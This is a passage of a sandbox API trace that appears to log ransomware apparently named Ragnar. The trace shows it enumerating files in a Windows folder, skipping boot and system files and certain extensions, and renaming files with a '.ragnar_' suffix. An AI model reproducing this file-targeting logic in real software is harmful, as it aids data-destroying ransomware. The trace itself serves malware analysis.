[0058.794] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.794] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0058.794] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.794] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsjpn.xml" | out: lpString1="ipsjpn.xml") returned="ipsjpn.xml" [0058.794] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned=".xml" [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="autorun.inf") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="boot.ini") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootfont.bin") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootsect.bak") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootmgr") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootmgr.efi") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootmgfw.efi") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="desktop.ini") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="iconcache.db") returned 1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ntldr") returned -1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ntuser.dat") returned -1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ntuser.dat.log") returned -1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ntuser.ini") returned -1 [0058.794] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="thumbs.db") returned -1 [0058.794] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.794] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.795] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.795] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.795] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.795] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.795] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0058.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.795] CloseHandle (hObject=0xffffffff) returned 0 [0058.795] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" [0058.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.ragnar_FD7BD9FC" [0058.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0058.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.795] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipskor.xml" | out: lpString1="ipskor.xml") returned="ipskor.xml" [0058.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned=".xml" [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="autorun.inf") returned 1 [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="boot.ini") returned 1 [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootfont.bin") returned 1 [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootsect.bak") returned 1 [0058.795] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootmgr") returned 1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootmgr.efi") returned 1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootmgfw.efi") returned 1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="desktop.ini") returned 1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="iconcache.db") returned 1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="ntldr") returned -1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="ntuser.dat") returned -1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="ntuser.dat.log") returned -1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="ntuser.ini") returned -1 [0058.796] lstrcmpiW (lpString1="ipskor.xml", lpString2="thumbs.db") returned -1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.796] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0058.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.801] CloseHandle (hObject=0xffffffff) returned 0 [0058.801] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" [0058.801] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.ragnar_FD7BD9FC" [0058.801] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.801] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0058.801] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.801] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IpsMigrationPlugin.dll" | out: lpString1="IpsMigrationPlugin.dll") returned="IpsMigrationPlugin.dll" [0058.801] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned=".dll" [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="autorun.inf") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="boot.ini") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootfont.bin") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootsect.bak") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootmgr") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootmgr.efi") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="bootmgfw.efi") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="desktop.ini") returned 1 [0058.801] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="iconcache.db") returned 1 [0058.802] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ntldr") returned -1 [0058.802] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ntuser.dat") returned -1 [0058.802] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ntuser.dat.log") returned -1 [0058.802] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="ntuser.ini") returned -1 [0058.802] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="thumbs.db") returned -1 [0058.802] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.802] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.802] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.802] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0058.802] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.802] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsnld.xml" | out: lpString1="ipsnld.xml") returned="ipsnld.xml" [0058.802] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned=".xml" [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="autorun.inf") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="boot.ini") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootfont.bin") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootsect.bak") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootmgr") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootmgr.efi") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootmgfw.efi") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="desktop.ini") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="iconcache.db") returned 1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ntldr") returned -1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ntuser.dat") returned -1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ntuser.dat.log") returned -1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ntuser.ini") returned -1 [0058.802] lstrcmpiW (lpString1="ipsnld.xml", lpString2="thumbs.db") returned -1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.802] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0058.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.803] CloseHandle (hObject=0xffffffff) returned 0 [0058.803] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" [0058.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.ragnar_FD7BD9FC" [0058.803] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.803] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0058.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.803] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsnor.xml" | out: lpString1="ipsnor.xml") returned="ipsnor.xml" [0058.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned=".xml" [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="autorun.inf") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="boot.ini") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootfont.bin") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootsect.bak") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootmgr") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootmgr.efi") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootmgfw.efi") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="desktop.ini") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="iconcache.db") returned 1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ntldr") returned -1 [0058.803] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ntuser.dat") returned -1 [0058.804] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ntuser.dat.log") returned -1 [0058.804] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ntuser.ini") returned -1 [0058.804] lstrcmpiW (lpString1="ipsnor.xml", lpString2="thumbs.db") returned -1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.804] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0058.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.804] CloseHandle (hObject=0xffffffff) returned 0 [0058.804] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" [0058.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.ragnar_FD7BD9FC" [0058.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.805] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0058.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.805] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsplk.xml" | out: lpString1="ipsplk.xml") returned="ipsplk.xml" [0058.805] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned=".xml" [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="autorun.inf") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="boot.ini") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootfont.bin") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootsect.bak") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootmgr") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootmgr.efi") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootmgfw.efi") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="desktop.ini") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="iconcache.db") returned 1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ntldr") returned -1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ntuser.dat") returned -1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ntuser.dat.log") returned -1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ntuser.ini") returned -1 [0058.805] lstrcmpiW (lpString1="ipsplk.xml", lpString2="thumbs.db") returned -1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.805] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0058.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.813] CloseHandle (hObject=0xffffffff) returned 0 [0058.813] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" [0058.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.ragnar_FD7BD9FC" [0058.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.813] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 